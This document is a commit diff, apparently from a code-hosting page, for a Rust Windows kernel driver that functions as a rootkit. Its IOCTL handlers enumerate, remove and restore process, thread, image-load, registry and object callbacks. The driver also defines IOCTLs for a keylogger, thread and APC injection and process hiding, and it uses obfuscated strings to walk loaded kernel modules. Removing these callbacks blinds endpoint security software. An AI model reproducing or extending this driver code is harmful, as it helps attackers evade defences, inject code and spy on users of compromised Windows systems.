unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REMOVE_CALLBACK");
|
||||
let status = unsafe { handle_callback!(stack, Callback::remove_callback, CallbackInfoInput) };
|
||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_RESTORE_CALLBACK");
|
||||
let status = unsafe { handle_callback!(stack, Callback::restore_callback, CallbackInfoInput) };
|
||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
@@ -156,28 +156,85 @@ macro_rules! handle_module {
|
||||
/// Macro to handle callback-related operations.
|
||||
///
|
||||
/// Executes the given action based on the provided parameters and returns the status.
|
||||
///
|
||||
#[macro_export]
|
||||
macro_rules! handle_callback {
|
||||
($irp:expr, $stack:expr, $action:expr, $input_type:ty, $output_type:ty, $information:expr) => {{
|
||||
let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) {
|
||||
Ok(buffer) => buffer,
|
||||
Err(status) => return status,
|
||||
};
|
||||
($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
|
||||
use shared::vars::Callbacks;
|
||||
|
||||
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
|
||||
Ok(buffer) => buffer,
|
||||
Err(status) => return status,
|
||||
};
|
||||
|
||||
let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) {
|
||||
Ok(buffer) => buffer,
|
||||
Err(status) => return status,
|
||||
};
|
||||
|
||||
let mut status = 0;
|
||||
|
||||
match $ioctl {
|
||||
IOCTL_ENUMERATE_CALLBACK => {
|
||||
status = match (*input_buffer).callback {
|
||||
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
};
|
||||
},
|
||||
IOCTL_ENUMERATE_REMOVED_CALLBACK => {
|
||||
status = match (*input_buffer).callback {
|
||||
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
};
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
|
||||
$action(input_buffer, output_buffer, $information)
|
||||
status
|
||||
}};
|
||||
|
||||
($irp:expr, $action:expr, $type_:ty) => {{
|
||||
($irp:expr, $type_:ty, $ioctl:expr) => {{
|
||||
use shared::vars::Callbacks;
|
||||
|
||||
let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) {
|
||||
Ok(buffer) => buffer,
|
||||
Err(status) => return status,
|
||||
};
|
||||
|
||||
$action(input_buffer)
|
||||
|
||||
let mut status = 0;
|
||||
|
||||
match $ioctl {
|
||||
IOCTL_REMOVE_CALLBACK => {
|
||||
status = match (*input_buffer).callback {
|
||||
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::remove_callback(input_buffer),
|
||||
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::remove_callback(input_buffer),
|
||||
Callbacks::PsSetLoadImageNotifyRoutine => Callback::remove_callback(input_buffer),
|
||||
Callbacks::CmRegisterCallbackEx => CallbackRegistry::remove_callback(input_buffer),
|
||||
Callbacks::ObProcess => CallbackOb::remove_callback(input_buffer),
|
||||
Callbacks::ObThread => CallbackOb::remove_callback(input_buffer),
|
||||
};
|
||||
},
|
||||
IOCTL_RESTORE_CALLBACK => {
|
||||
status = match (*input_buffer).callback {
|
||||
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::restore_callback(input_buffer),
|
||||
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::restore_callback(input_buffer),
|
||||
Callbacks::PsSetLoadImageNotifyRoutine => Callback::restore_callback(input_buffer),
|
||||
Callbacks::CmRegisterCallbackEx => CallbackRegistry::restore_callback(input_buffer),
|
||||
Callbacks::ObProcess => CallbackOb::restore_callback(input_buffer),
|
||||
Callbacks::ObThread => CallbackOb::restore_callback(input_buffer),
|
||||
};
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
|
||||
status
|
||||
}};
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
use {
|
||||
crate::{includes::SystemModuleInformation, process::Process},
|
||||
crate::{includes::structs::SystemModuleInformation, process::Process},
|
||||
alloc::{string::String, vec, vec::Vec},
|
||||
core::{
|
||||
ffi::{c_void, CStr},
|
||||
@@ -9,16 +9,13 @@ use {
|
||||
},
|
||||
ntapi::{
|
||||
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
|
||||
ntzwapi::ZwQuerySystemInformation
|
||||
ntzwapi::ZwQuerySystemInformation,
|
||||
ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
},
|
||||
obfstr::obfstr,
|
||||
wdk_sys::{
|
||||
*,
|
||||
ntddk::{
|
||||
ExAllocatePool2, ExFreePool, KeStackAttachProcess, KeUnstackDetachProcess,
|
||||
ZwMapViewOfSection, ZwOpenSection, ZwReadFile, ZwClose, ZwUnmapViewOfSection,
|
||||
ZwCreateFile, ZwQueryInformationFile, PsIsThreadTerminating
|
||||
},
|
||||
ntddk::*,
|
||||
_FILE_INFORMATION_CLASS::FileStandardInformation,
|
||||
_SECTION_INHERIT::ViewUnmap
|
||||
},
|
||||
@@ -613,6 +610,32 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
||||
return Ok(shellcode)
|
||||
}
|
||||
|
||||
/// Responsible for returning information on the modules loaded.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList.
|
||||
///
|
||||
pub fn return_module() -> Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> {
|
||||
let ps_module = crate::uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||
let func = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY };
|
||||
|
||||
if func.is_null() {
|
||||
log::error!("PsLoadedModuleList is null");
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut list_entry = unsafe { (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
|
||||
let mut module_count = 0;
|
||||
|
||||
let start_entry = list_entry;
|
||||
while !list_entry.is_null() && list_entry != func {
|
||||
module_count += 1;
|
||||
list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
|
||||
}
|
||||
|
||||
Some((start_entry, module_count))
|
||||
}
|
||||
|
||||
/// Validates if the given address is within the kernel memory range.
|
||||
///
|
||||
/// # Parameters
|
||||
|
||||
@@ -35,15 +35,15 @@ pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NE
|
||||
pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Registry
|
||||
pub const IOCTL_REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Module
|
||||
pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Injection
|
||||
pub const IOCTL_INJECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_INJECTION_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_INJECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_INJECTION_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
@@ -1,3 +1,4 @@
|
||||
extern crate alloc;
|
||||
use crate::vars::Callbacks;
|
||||
|
||||
// Callback Information for Enumeration (Output)
|
||||
@@ -7,6 +8,8 @@ pub struct CallbackInfoOutput {
|
||||
pub address: usize,
|
||||
pub name: [u16; 256],
|
||||
pub index: u8,
|
||||
pub pre_operation: usize,
|
||||
pub post_operation: usize
|
||||
}
|
||||
|
||||
// Callback Information for Action (Input)
|
||||
@@ -16,12 +19,3 @@ pub struct CallbackInfoInput {
|
||||
pub index: usize,
|
||||
pub callback: Callbacks
|
||||
}
|
||||
|
||||
//
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct CallbackRestaure {
|
||||
pub index: usize,
|
||||
pub callback: Callbacks,
|
||||
pub address: u64,
|
||||
}
|
||||
@@ -23,6 +23,7 @@ pub mod injection;
|
||||
|
||||
// Custom LIST_ENTRY
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct LIST_ENTRY {
|
||||
pub Flink: *mut LIST_ENTRY,
|
||||
pub Blink: *mut LIST_ENTRY,
|
||||
|
||||
@@ -16,20 +16,13 @@ pub struct ProcessListInfo {
|
||||
pub pids: usize,
|
||||
}
|
||||
|
||||
// Stores information about the target process.
|
||||
// Stores information about the target process
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Default)]
|
||||
pub struct TargetProcess {
|
||||
pub pid: usize,
|
||||
}
|
||||
|
||||
// Anti-create Process
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Default)]
|
||||
pub struct AntiCreateProcess {
|
||||
pub name: &'static str
|
||||
}
|
||||
|
||||
// Process Info Hide
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Default)]
|
||||
|
||||
@@ -2,11 +2,15 @@ pub const MAX_PIDS: usize = 256;
|
||||
pub const MAX_DRIVER: usize = 256;
|
||||
pub const MAX_TIDS: usize = 256;
|
||||
|
||||
#[derive(Debug, Copy, Clone, PartialEq)]
|
||||
#[derive(Debug, Copy, Clone, PartialEq, Default)]
|
||||
pub enum Callbacks {
|
||||
#[default]
|
||||
PsSetCreateProcessNotifyRoutine,
|
||||
PsSetCreateThreadNotifyRoutine,
|
||||
PsSetLoadImageNotifyRoutine
|
||||
PsSetLoadImageNotifyRoutine,
|
||||
CmRegisterCallbackEx,
|
||||
ObProcess,
|
||||
ObThread,
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
|
||||
Reference in New Issue
Block a user